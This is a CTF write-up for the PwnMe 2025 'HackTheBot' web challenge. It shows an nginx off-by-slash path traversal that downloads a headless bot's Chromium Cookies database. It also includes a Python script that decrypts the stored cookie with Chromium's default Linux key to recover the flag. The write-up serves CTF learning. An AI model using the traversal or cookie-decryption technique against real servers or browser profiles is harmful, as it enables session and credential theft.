Skip to main content

PwnMe CTF 2025 Write-up : HackTheBot

Category : Web
Difficulty : Medium

HackTheBot 1
#

Behavior of the web app
#

The web application is simply based on two pages. The first one is static and displays a cheatsheet of payloads to execute multiple web application attacks.
The second page is the /report page, where it is possible to provide a URL as a user input via a POST HTTP request. The website seems to visit the URL we passed as input.
It is possible to view the logs generated during the request to the input URL after submitting it.

Viewing the source
#

For each POST HTTP request, the following code is executed:

app.post('/report', (req, res) => {
    const url = req.body.url;
    const name = format(new Date(), "yyMMdd_HHmmss");
    startBot(url, name);
    res.status(200).send(`logs/${name}.log`);
});

We can observe that the startBot() function is called for each POST HTTP request on /report, taking the URL and the date as arguments.

If we dig into the startBot() function, we can see that it initializes a Puppeteer headless browser to visit this page.
During this initialization, a browser cache folder is also provided to the bot as an argument.

const browser = await puppeteer.launch({
    headless: 'new',
    args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
});

The browser cache path has the following value. We can also see the logPath where the logs can be accessed.

const logPath = '/tmp/bot_folder/logs/';
const browserCachePath = '/tmp/bot_folder/browser_cache/';

After initialization, the bot visits the URL and adds the flag as a cookie if the URL starts with http://localhost/ (and does not otherwise).

const cookie = {
    name: 'Flag',
    value: "PWNME{FAKE_FLAG}",
    sameSite: 'Strict'
};

// [...]

if (url.startsWith("http://localhost/")) {
    await page.setCookie(cookie);
}

Exploit
#

In the source, we can also observe the nginx.conf file:

http {
    server {
        listen 80;

        location / {
            proxy_pass http://127.0.0.1:5000;
        }

        location /logs {
            autoindex off;
            alias /tmp/bot_folder/logs/;
            try_files $uri $uri/ =404;
        }
    }
}

It specifies the alias entries to access folders on the machine. Here, we can see that /tmp/bot_folder/logs/ has the alias /logs.
This configuration is vulnerable to the Off-By-Slash vulnerability, which allows a path traversal attack.
That means we can access the browser_cache folder.

With some Google research, we can easily find that Puppeteer stores cookie information in the /browser_cache/Default/Cookies file when using Chromium browsers.
Hence, we can download this file directly by making a GET HTTP request to the following URL:

http://<PwnMeCtfEndpoint>/logs../browser_cache/Default/Cookies

This Cookies file is an SQLite database file containing a lot of information, especially the encrypted_value.

SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> PRAGMA table_info(cookies);
0|creation_utc|INTEGER|1||0
1|host_key|TEXT|1||0
2|top_frame_site_key|TEXT|1||0
3|name|TEXT|1||0
4|value|TEXT|1||0
5|encrypted_value|BLOB|1||0
6|path|TEXT|1||0
7|expires_utc|INTEGER|1||0
8|is_secure|INTEGER|1||0
9|is_httponly|INTEGER|1||0
10|last_access_utc|INTEGER|1||0
11|has_expires|INTEGER|1||0
12|is_persistent|INTEGER|1||0
13|priority|INTEGER|1||0
14|samesite|INTEGER|1||0
15|source_scheme|INTEGER|1||0
16|source_port|INTEGER|1||0
17|last_update_utc|INTEGER|1||0
18|source_type|INTEGER|1||0
19|has_cross_site_ancestor|INTEGER|1||0
sqlite> select * from cookies;
13385310290141341|localhost||Flag||v10�(mz&����#[��YH�)$"����9�mz�|/|0|0|0|0|0|0|1|2|1|80|13385310290141197|3|1

Then, we need to decrypt this value. Again, some Google research leads us to use the Local State file of the cache folder. Since it does not contain any key, we will use default credentials. Thanks to @Sacre, who found this script here, we were able to decrypt the encrypted cookie value.

# Exemple de bytes donnés
#! /usr/bin/env python3

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

# Function to get rid of padding
def clean(x): 
    return x[:-x[-1]].decode('utf8')

# Replace with your encrypted_value from sqlite3
encrypted_value = b"v10\xe3\xbe\x1f(mz&\x18\x9b\xa6\x19\xc9\xc1#[\xdd\xddYH\xfa)$\"\xe4\xdd\xf5\x899\x8cmz\xa7" 

# Trim off the 'v10' that Chrome/ium prepends
encrypted_value = encrypted_value[3:]

# Default values used by both Chrome and Chromium in OSX and Linux
salt = b'saltysalt'
iv = b' ' * 16
length = 16

# On Mac, replace MY_PASS with your password from Keychain
# On Linux, replace MY_PASS with 'peanuts'
my_pass = 'peanuts'
my_pass = my_pass.encode('utf8')

# 1003 on Mac, 1 on Linux
iterations = 1

key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)
print(clean(decrypted))

Running this will help us retrieve the flag:

PWNME{D1d_y0U_S4iD-F1lt33Rs?}

2025

PwnMe ctf 2025 write-up : HackTheBot
·643 words·4 mins